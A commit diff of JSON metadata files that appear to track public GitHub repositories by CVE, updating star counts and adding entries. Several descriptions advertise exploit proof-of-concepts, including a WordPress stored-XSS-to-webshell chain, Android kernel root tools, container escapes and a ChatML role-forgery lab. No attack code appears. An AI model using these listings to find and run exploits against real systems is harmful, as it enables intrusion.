"updated_at": "2026-09-25T01:02:58Z",
"pushed_at": "2026-09-25T01:02:54Z",
"updated_at": "2026-09-25T06:42:15Z",
"pushed_at": "2026-09-25T06:42:10Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-21858.json
+4 -4
View File
@@ -529,10 +529,10 @@
"description": "🛡️ Official AI Security Tool module for CVE-2026-21858 + CVE-2025-68613 (n8n \"Ni8mare\" Unauthenticated Arbitrary File Read & Expression Injection RCE Full Chain).",
"fork": false,
"created_at": "2026-09-12T00:03:07Z",
"updated_at": "2026-09-24T17:33:26Z",
"updated_at": "2026-09-25T07:33:55Z",
"pushed_at": "2026-09-12T00:08:10Z",
"stargazers_count": 40,
"watchers_count": 40,
"stargazers_count": 58,
"watchers_count": 58,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -548,7 +548,7 @@
],
"visibility": "public",
"forks": 0,
"watchers": 40,
"watchers": 58,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-24291.json
+2 -2
View File
@@ -80,8 +80,8 @@
"description": "Exploit Windows local privilege escalation on clients and servers using tested code for CVE-2026-24291 across multiple Windows versions",
"fork": false,
"created_at": "2026-03-26T04:38:27Z",
"updated_at": "2026-09-25T01:08:17Z",
"pushed_at": "2026-09-25T01:08:14Z",
"updated_at": "2026-09-25T06:47:32Z",
"pushed_at": "2026-09-25T06:47:28Z",
"stargazers_count": 4,
"watchers_count": 4,
"has_discussions": false,
2026/CVE-2026-2472.json
+2 -2
View File
@@ -65,8 +65,8 @@
"description": "Expose and detail an unauthenticated stored XSS vulnerability in the Google Cloud Vertex AI Python SDK affecting versions 1.98.0 to 1.130.9.",
"fork": false,
"created_at": "2026-03-10T14:40:04Z",
"updated_at": "2026-09-25T01:05:07Z",
"pushed_at": "2026-09-25T01:05:03Z",
"updated_at": "2026-09-25T06:44:11Z",
"pushed_at": "2026-09-25T06:44:08Z",
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
2026/CVE-2026-31431.json
+6 -6
View File
@@ -47,12 +47,12 @@
"description": "Copy Fail (CVE-2026-31431): 9-year-old Linux kernel LPE found by Theori's Xint Code",
"fork": false,
"created_at": "2026-04-29T12:15:28Z",
"updated_at": "2026-09-24T12:53:37Z",
"updated_at": "2026-09-25T07:03:43Z",
"pushed_at": "2026-04-29T21:21:46Z",
"stargazers_count": 4072,
"watchers_count": 4072,
"stargazers_count": 4070,
"watchers_count": 4070,
"has_discussions": false,
"forks_count": 912,
"forks_count": 911,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -71,8 +71,8 @@
"xint-code"
],
"visibility": "public",
"forks": 912,
"watchers": 4072,
"forks": 911,
"watchers": 4070,
"score": 0,
"subscribers_count": 34
},
2026/CVE-2026-35678.json
+1 -1
View File
@@ -15,7 +15,7 @@
"fork": false,
"created_at": "2026-04-06T12:48:36Z",
"updated_at": "2026-08-25T19:44:27Z",
"pushed_at": "2026-04-06T13:32:32Z",
"pushed_at": "2026-09-25T07:38:46Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-40083.json
+1 -1
View File
@@ -14,7 +14,7 @@
"description": "SQL Injection at Cacti",
"fork": false,
"created_at": "2026-06-27T17:26:15Z",
"updated_at": "2026-08-27T21:45:51Z",
"updated_at": "2026-09-25T02:29:14Z",
"pushed_at": "2026-06-27T17:44:03Z",
"stargazers_count": 4,
"watchers_count": 4,
2026/CVE-2026-41096.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "🛡️ Official AI Security Tool module for CVE-2026-41096 (Windows DNSAPI.dll Heap Overflow \/ DNS-Mayhem Deep Dive Analysis & Audit Module).",
"fork": false,
"created_at": "2026-02-05T10:21:22Z",
"updated_at": "2026-09-24T17:38:35Z",
"updated_at": "2026-09-25T07:52:24Z",
"pushed_at": "2026-09-11T16:46:36Z",
"stargazers_count": 48,
"watchers_count": 48,
"stargazers_count": 60,
"watchers_count": 60,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -34,7 +34,7 @@
],
"visibility": "public",
"forks": 0,
"watchers": 48,
"watchers": 60,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-43499.json
+60 -27
View File
@@ -282,10 +282,10 @@
"description": "CVE-2026-43499 Implementation for 6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k",
"fork": false,
"created_at": "2026-07-12T10:15:03Z",
"updated_at": "2026-09-23T19:47:59Z",
"updated_at": "2026-09-25T02:44:10Z",
"pushed_at": "2026-07-15T22:46:59Z",
"stargazers_count": 244,
"watchers_count": 244,
"stargazers_count": 245,
"watchers_count": 245,
"has_discussions": false,
"forks_count": 98,
"allow_forking": true,
@@ -296,7 +296,7 @@
"topics": [],
"visibility": "public",
"forks": 98,
"watchers": 244,
"watchers": 245,
"score": 0,
"subscribers_count": 3
},
@@ -1048,12 +1048,12 @@
"description": "KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499",
"fork": false,
"created_at": "2026-07-17T14:24:08Z",
"updated_at": "2026-09-25T00:26:23Z",
"updated_at": "2026-09-25T03:59:09Z",
"pushed_at": "2026-09-03T03:21:42Z",
"stargazers_count": 1276,
"watchers_count": 1276,
"stargazers_count": 1279,
"watchers_count": 1279,
"has_discussions": false,
"forks_count": 255,
"forks_count": 256,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -1061,8 +1061,8 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 255,
"watchers": 1276,
"forks": 256,
"watchers": 1279,
"score": 0,
"subscribers_count": 38
},
@@ -1147,10 +1147,10 @@
"description": "CVE-2026-43499 (IonStack\/GhostLock) pure-C re-root POC for Samsung SM-T878U \/ gts7l (T878USQS8DXE1)",
"fork": false,
"created_at": "2026-07-18T08:18:28Z",
"updated_at": "2026-09-22T15:35:16Z",
"updated_at": "2026-09-25T05:41:08Z",
"pushed_at": "2026-07-21T13:45:47Z",
"stargazers_count": 13,
"watchers_count": 13,
"stargazers_count": 14,
"watchers_count": 14,
"has_discussions": false,
"forks_count": 4,
"allow_forking": true,
@@ -1169,7 +1169,7 @@
],
"visibility": "public",
"forks": 4,
"watchers": 13,
"watchers": 14,
"score": 0,
"subscribers_count": 0
},
@@ -1694,12 +1694,12 @@
"description": "GhostLock One-Tap Execution App (CVE-2026-43499)",
"fork": false,
"created_at": "2026-07-29T05:04:25Z",
"updated_at": "2026-09-25T01:30:11Z",
"pushed_at": "2026-09-23T19:08:05Z",
"stargazers_count": 1071,
"watchers_count": 1071,
"updated_at": "2026-09-25T07:18:11Z",
"pushed_at": "2026-09-25T04:59:19Z",
"stargazers_count": 1075,
"watchers_count": 1075,
"has_discussions": false,
"forks_count": 334,
"forks_count": 335,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -1707,10 +1707,10 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 334,
"watchers": 1071,
"forks": 335,
"watchers": 1075,
"score": 0,
"subscribers_count": 15
"subscribers_count": 16
},
{
"id": 1315873501,
@@ -2773,10 +2773,10 @@
"description": "KSuRoot 4.0.0 — 基于 CVE-2026-43499(GhostLock) 的一键 KernelSU 提权工具。多内核支持：6.1 \/ 6.6 \/ 6.12 三族各有专属基线，另有 50 档上游内核适配；多机型动态库内置：122 条厂商载荷（vivo\/iQOO、小米、三星、Pixel 等）离线可用、按机型+内核+commit 三级匹配；新增「载荷构建」用本机 boot.img 解析偏移打出适配本机的载荷（通用 \/ vivo 专用）；免 ADB。Mod by hmascs",
"fork": false,
"created_at": "2026-08-14T10:51:50Z",
"updated_at": "2026-09-25T00:42:14Z",
"pushed_at": "2026-09-24T19:58:25Z",
"stargazers_count": 121,
"watchers_count": 121,
"updated_at": "2026-09-25T07:51:18Z",
"pushed_at": "2026-09-25T03:33:46Z",
"stargazers_count": 125,
"watchers_count": 125,
"has_discussions": false,
"forks_count": 9,
"allow_forking": true,
@@ -2787,7 +2787,7 @@
"topics": [],
"visibility": "public",
"forks": 9,
"watchers": 121,
"watchers": 125,
"score": 0,
"subscribers_count": 1
},
@@ -4764,5 +4764,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1386621846,
"name": "CVE-2026-43499-poc",
"full_name": "AthBe1337\/CVE-2026-43499-poc",
"owner": {
"login": "AthBe1337",
"id": 126739764,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/126739764?v=4",
"html_url": "https:\/\/github.com\/AthBe1337",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/AthBe1337\/CVE-2026-43499-poc",
"description": null,
"fork": false,
"created_at": "2026-09-25T02:45:58Z",
"updated_at": "2026-09-25T03:05:11Z",
"pushed_at": "2026-09-25T03:05:08Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-62878.json → 2026/CVE-2026-43687.json
+11 -11
View File
@@ -1,21 +1,21 @@
[
{
"id": 1384423810,
"name": "CVE-2026-62878",
"full_name": "nmlz\/CVE-2026-62878",
"id": 1386873867,
"name": "cve-2026-43687",
"full_name": "jvidhan\/cve-2026-43687",
"owner": {
"login": "nmlz",
"id": 79547083,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/79547083?v=4",
"html_url": "https:\/\/github.com\/nmlz",
"login": "jvidhan",
"id": 202585150,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/202585150?v=4",
"html_url": "https:\/\/github.com\/jvidhan",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/nmlz\/CVE-2026-62878",
"html_url": "https:\/\/github.com\/jvidhan\/cve-2026-43687",
"description": null,
"fork": false,
"created_at": "2026-09-24T01:34:28Z",
"updated_at": "2026-09-24T13:32:55Z",
"pushed_at": "2026-09-24T13:32:48Z",
"created_at": "2026-09-25T06:06:52Z",
"updated_at": "2026-09-25T06:52:15Z",
"pushed_at": "2026-09-25T06:52:11Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-48842.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1386864086,
"name": "CVE-2026-48842",
"full_name": "murrez\/CVE-2026-48842",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-48842",
"description": "Roundcube virtuser_query pre-auth SQLi (CVE-2026-48842). Python PoC — version detect, virtuser plugin, login probe. https:\/\/pocbit.org",
"fork": false,
"created_at": "2026-09-25T05:59:39Z",
"updated_at": "2026-09-25T06:26:21Z",
"pushed_at": "2026-09-25T06:26:17Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-53266.json
+4 -4
View File
@@ -14,8 +14,8 @@
"description": null,
"fork": false,
"created_at": "2026-09-20T06:03:40Z",
"updated_at": "2026-09-23T05:16:12Z",
"pushed_at": "2026-09-23T05:16:07Z",
"updated_at": "2026-09-25T07:10:56Z",
"pushed_at": "2026-09-25T07:10:52Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
@@ -47,8 +47,8 @@
"description": "Neutralizing CISA active Linux kernel CVEs (CVE-2025-39964, CVE-2026-53266, CVE-2025-39682) via modern eBPF, module disarmament, and containerd user namespaces.",
"fork": false,
"created_at": "2026-09-22T10:06:44Z",
"updated_at": "2026-09-24T16:35:45Z",
"pushed_at": "2026-09-24T16:35:41Z",
"updated_at": "2026-09-25T03:40:59Z",
"pushed_at": "2026-09-25T03:40:56Z",
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
2026/CVE-2026-54121.json
+4 -4
View File
@@ -410,10 +410,10 @@
"description": "🛡️ Official AI Security Tool module for CVE-2026-54121 (Certighost - AD CS Domain Controller Impersonation & PKINIT Elevation).",
"fork": false,
"created_at": "2026-09-11T23:08:16Z",
"updated_at": "2026-09-24T17:20:45Z",
"updated_at": "2026-09-25T07:47:40Z",
"pushed_at": "2026-09-12T00:35:59Z",
"stargazers_count": 35,
"watchers_count": 35,
"stargazers_count": 54,
"watchers_count": 54,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -430,7 +430,7 @@
],
"visibility": "public",
"forks": 0,
"watchers": 35,
"watchers": 54,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-61732.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1386932865,
"name": "cve-2026-61732-lab",
"full_name": "InertFluid\/cve-2026-61732-lab",
"owner": {
"login": "InertFluid",
"id": 21109790,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/21109790?v=4",
"html_url": "https:\/\/github.com\/InertFluid",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/InertFluid\/cve-2026-61732-lab",
"description": "Benign, self-contained reproduction of CVE-2026-61732 (Decepticon ChatML role-boundary forgery)",
"fork": false,
"created_at": "2026-09-25T06:47:40Z",
"updated_at": "2026-09-25T07:48:22Z",
"pushed_at": "2026-09-25T07:48:18Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-64560.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": null,
"fork": false,
"created_at": "2026-08-03T12:36:27Z",
"updated_at": "2026-09-24T16:58:54Z",
"updated_at": "2026-09-25T06:40:55Z",
"pushed_at": "2026-08-03T12:39:41Z",
"stargazers_count": 62,
"watchers_count": 62,
"stargazers_count": 63,
"watchers_count": 63,
"has_discussions": false,
"forks_count": 17,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 17,
"watchers": 62,
"watchers": 63,
"score": 0,
"subscribers_count": 1
},
2026/CVE-2026-64561.json
+2 -2
View File
@@ -80,8 +80,8 @@
"description": "Guest-to-host KVM\/x86 escape exploiting CVE-2026-64561, delivering a full PoC chain and analysis for security researchers.",
"fork": false,
"created_at": "2026-08-07T15:51:07Z",
"updated_at": "2026-09-25T01:22:08Z",
"pushed_at": "2026-09-25T01:22:04Z",
"updated_at": "2026-09-25T07:01:38Z",
"pushed_at": "2026-09-25T07:01:34Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-64564.json
+2 -2
View File
@@ -80,8 +80,8 @@
"description": "Tracking SCTPhantom (CVE-2026-64564), the Linux kernel SCTP ASCONF transport use-after-free",
"fork": false,
"created_at": "2026-08-10T05:16:43Z",
"updated_at": "2026-09-23T05:14:26Z",
"pushed_at": "2026-09-23T05:14:22Z",
"updated_at": "2026-09-25T07:13:57Z",
"pushed_at": "2026-09-25T07:13:53Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-65660.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1386667665,
"name": "CVE-2026-65660",
"full_name": "HORKimhab\/CVE-2026-65660",
"owner": {
"login": "HORKimhab",
"id": 41143106,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/41143106?v=4",
"html_url": "https:\/\/github.com\/HORKimhab",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/HORKimhab\/CVE-2026-65660",
"description": "CVE-2026-65660 - Draft or TODO",
"fork": false,
"created_at": "2026-09-25T03:22:53Z",
"updated_at": "2026-09-25T03:31:25Z",
"pushed_at": "2026-09-25T03:31:21Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-67276.json
+6 -6
View File
@@ -47,12 +47,12 @@
"description": "CVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC",
"fork": false,
"created_at": "2026-09-06T12:10:51Z",
"updated_at": "2026-09-24T22:20:10Z",
"updated_at": "2026-09-25T07:56:29Z",
"pushed_at": "2026-09-06T12:10:54Z",
"stargazers_count": 89,
"watchers_count": 89,
"stargazers_count": 90,
"watchers_count": 90,
"has_discussions": false,
"forks_count": 27,
"forks_count": 28,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -60,8 +60,8 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 27,
"watchers": 89,
"forks": 28,
"watchers": 90,
"score": 0,
"subscribers_count": 2
},
2026/CVE-2026-67401.json
+2 -2
View File
@@ -139,7 +139,7 @@
"stargazers_count": 4,
"watchers_count": 4,
"has_discussions": false,
"forks_count": 1,
"forks_count": 2,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -160,7 +160,7 @@
"vulnerability"
],
"visibility": "public",
"forks": 1,
"forks": 2,
"watchers": 4,
"score": 0,
"subscribers_count": 0
2026/CVE-2026-78306.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "DJI Drone DUML Command Injection over Bluetooth — Proof of Concept for CVE-2026-78306",
"fork": false,
"created_at": "2026-09-20T14:50:46Z",
"updated_at": "2026-09-24T16:04:52Z",
"pushed_at": "2026-09-24T16:04:48Z",
"updated_at": "2026-09-25T06:31:49Z",
"pushed_at": "2026-09-25T06:31:45Z",
"stargazers_count": 9,
"watchers_count": 9,
"has_discussions": false,
2026/CVE-2026-80521.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "container escape POCs for CVE-2026-80521 and CVE-2026-52910",
"fork": false,
"created_at": "2026-09-16T21:04:26Z",
"updated_at": "2026-09-25T00:17:35Z",
"updated_at": "2026-09-25T06:06:32Z",
"pushed_at": "2026-09-22T19:41:59Z",
"stargazers_count": 35,
"watchers_count": 35,
"stargazers_count": 36,
"watchers_count": 36,
"has_discussions": false,
"forks_count": 8,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 8,
"watchers": 35,
"watchers": 36,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-84543.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Technical disclosure and PoC for CVE-2026-84543, a macOS SMB kernel vulnerability",
"fork": false,
"created_at": "2026-09-24T00:22:30Z",
"updated_at": "2026-09-24T21:01:17Z",
"updated_at": "2026-09-25T05:19:14Z",
"pushed_at": "2026-09-24T02:56:43Z",
"stargazers_count": 22,
"watchers_count": 22,
"stargazers_count": 25,
"watchers_count": 25,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 22,
"watchers": 25,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-85046.json
+4 -4
View File
@@ -179,10 +179,10 @@
"description": "CVE-2026-85046 | Chrome V8 Type Confusion in Inline Array.prototype.sort (Maglev\/Turbofan) | CVSS 8.8 | CWE-843 | Chrome < 152.0.7977.82",
"fork": false,
"created_at": "2026-09-08T19:18:57Z",
"updated_at": "2026-09-24T10:19:25Z",
"updated_at": "2026-09-25T05:05:28Z",
"pushed_at": "2026-09-08T19:19:04Z",
"stargazers_count": 7,
"watchers_count": 7,
"stargazers_count": 8,
"watchers_count": 8,
"has_discussions": false,
"forks_count": 4,
"allow_forking": true,
@@ -202,7 +202,7 @@
],
"visibility": "public",
"forks": 4,
"watchers": 7,
"watchers": 8,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-87902.json
+14 -14
View File
@@ -14,12 +14,12 @@
"description": "CVE-2026-87902 - WordPress - WordPress Core - Critical 9.2 - Unauthenticated Local File Inclusion (conditional RCE)",
"fork": false,
"created_at": "2026-09-22T18:13:48Z",
"updated_at": "2026-09-24T16:27:46Z",
"updated_at": "2026-09-25T06:51:45Z",
"pushed_at": "2026-09-22T21:13:20Z",
"stargazers_count": 27,
"watchers_count": 27,
"stargazers_count": 28,
"watchers_count": 28,
"has_discussions": false,
"forks_count": 4,
"forks_count": 5,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,8 +27,8 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 4,
"watchers": 27,
"forks": 5,
"watchers": 28,
"score": 0,
"subscribers_count": 0
},
@@ -88,10 +88,10 @@
"description": "PoC for CVE-2026-87902 — unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab",
"fork": false,
"created_at": "2026-09-22T18:40:26Z",
"updated_at": "2026-09-24T11:48:18Z",
"updated_at": "2026-09-25T01:45:19Z",
"pushed_at": "2026-09-22T19:36:48Z",
"stargazers_count": 29,
"watchers_count": 29,
"stargazers_count": 30,
"watchers_count": 30,
"has_discussions": false,
"forks_count": 5,
"allow_forking": true,
@@ -111,7 +111,7 @@
],
"visibility": "public",
"forks": 5,
"watchers": 29,
"watchers": 30,
"score": 0,
"subscribers_count": 1
},
@@ -262,10 +262,10 @@
"description": "CVE-2026-87902 detector. WordPress get_page_template LFI class. Detect-only. Authorized lab.",
"fork": false,
"created_at": "2026-09-23T12:20:58Z",
"updated_at": "2026-09-23T17:05:09Z",
"updated_at": "2026-09-25T04:45:31Z",
"pushed_at": "2026-09-23T12:26:13Z",
"stargazers_count": 1,
"watchers_count": 1,
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -276,7 +276,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"watchers": 2,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-89055.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1387041842,
"name": "CVE-2026-89055",
"full_name": "murrez\/CVE-2026-89055",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-89055",
"description": "Unauthenticated authorization bypass in Customer Reviews for WooCommerce ≤ 5.120.0: holders of a public \/cusrev\/{formId}\/ review link can POST cr_local_forms_submit with arbitrary Media Library attachment IDs in items[].media. Linked files are permanently deleted when the review comment is purged. Python check\/exploit PoC (PoCbit catalog).",
"fork": false,
"created_at": "2026-09-25T07:49:00Z",
"updated_at": "2026-09-25T07:49:27Z",
"pushed_at": "2026-09-25T07:49:23Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-93399.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1387048865,
"name": "CVE-2026-93399",
"full_name": "murrez\/CVE-2026-93399",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-93399",
"description": "Unauthenticated IDOR in Bookly ≤ 28.2: bookly_get_form_id + bookly_render_complete leak any order’s bookly_order token; bookly_add_to_calendar exposes appointments; bookly_rollback_order cancels\/deletes non-completed bookings. CVSS 9.1. Python check\/exploit PoC — pocbit.org\/pocs\/cve-2026-93399",
"fork": false,
"created_at": "2026-09-25T07:53:19Z",
"updated_at": "2026-09-25T07:53:48Z",
"pushed_at": "2026-09-25T07:53:45Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-93485.json
+52
View File
@@ -64,5 +64,57 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1386511925,
"name": "Comment2Shell",
"full_name": "DeathShotXD\/Comment2Shell",
"owner": {
"login": "DeathShotXD",
"id": 87466051,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/87466051?v=4",
"html_url": "https:\/\/github.com\/DeathShotXD",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/DeathShotXD\/Comment2Shell",
"description": "Comment2Shell is a zero click pre auth RCE exploit for WordPress CVE-2026-93485. An anonymous comment plants stored XSS that fires when an admin views the post and drops a self deleting webshell. Full chain PoC with scanner interactive shell Nuclei template and Docker ",
"fork": false,
"created_at": "2026-09-25T00:13:54Z",
"updated_at": "2026-09-25T02:16:55Z",
"pushed_at": "2026-09-25T01:39:37Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"bug-bounty",
"cve-2026-93485",
"exploit",
"infosec",
"nuclei",
"nuclei-templates",
"poc",
"pre-auth",
"rce",
"security-research",
"web-application-security",
"web-exploitation",
"webappsec",
"webshell",
"wordpress",
"xss",
"zero-click",
"zeroday"
],
"visibility": "public",
"forks": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-94127.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": null,
"fork": false,
"created_at": "2026-09-24T19:22:13Z",
"updated_at": "2026-09-25T00:55:33Z",
"updated_at": "2026-09-25T06:33:48Z",
"pushed_at": "2026-09-24T19:29:50Z",
"stargazers_count": 3,
"watchers_count": 3,
"stargazers_count": 4,
"watchers_count": 4,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 3,
"watchers": 4,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-94128.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "POC for CVE-2026-94128",
"fork": false,
"created_at": "2026-09-21T08:26:04Z",
"updated_at": "2026-09-22T18:02:38Z",
"pushed_at": "2026-09-21T14:14:41Z",
"updated_at": "2026-09-25T03:01:45Z",
"pushed_at": "2026-09-25T03:01:41Z",
"stargazers_count": 4,
"watchers_count": 4,
"has_discussions": false,
2026/CVE-2026-94129.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "A POC for CVE-2026-94129",
"fork": false,
"created_at": "2026-09-21T05:38:55Z",
"updated_at": "2026-09-22T18:02:45Z",
"pushed_at": "2026-09-21T14:15:16Z",
"updated_at": "2026-09-25T03:02:16Z",
"pushed_at": "2026-09-25T03:02:13Z",
"stargazers_count": 4,
"watchers_count": 4,
"has_discussions": false,
2026/CVE-2026-96889.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1380359971,
"name": "VectorFreed",
"full_name": "rafabd1\/VectorFreed",
"owner": {
"login": "rafabd1",
"id": 67149165,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/67149165?v=4",
"html_url": "https:\/\/github.com\/rafabd1",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/rafabd1\/VectorFreed",
"description": "This repository documents the VectorFreed RCE chain and includes a PoC for CVE-2026-96889.",
"fork": false,
"created_at": "2026-09-21T18:54:00Z",
"updated_at": "2026-09-25T03:07:41Z",
"pushed_at": "2026-09-25T03:07:37Z",
"stargazers_count": 8,
"watchers_count": 8,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 8,
"score": 0,
"subscribers_count": 0
}
]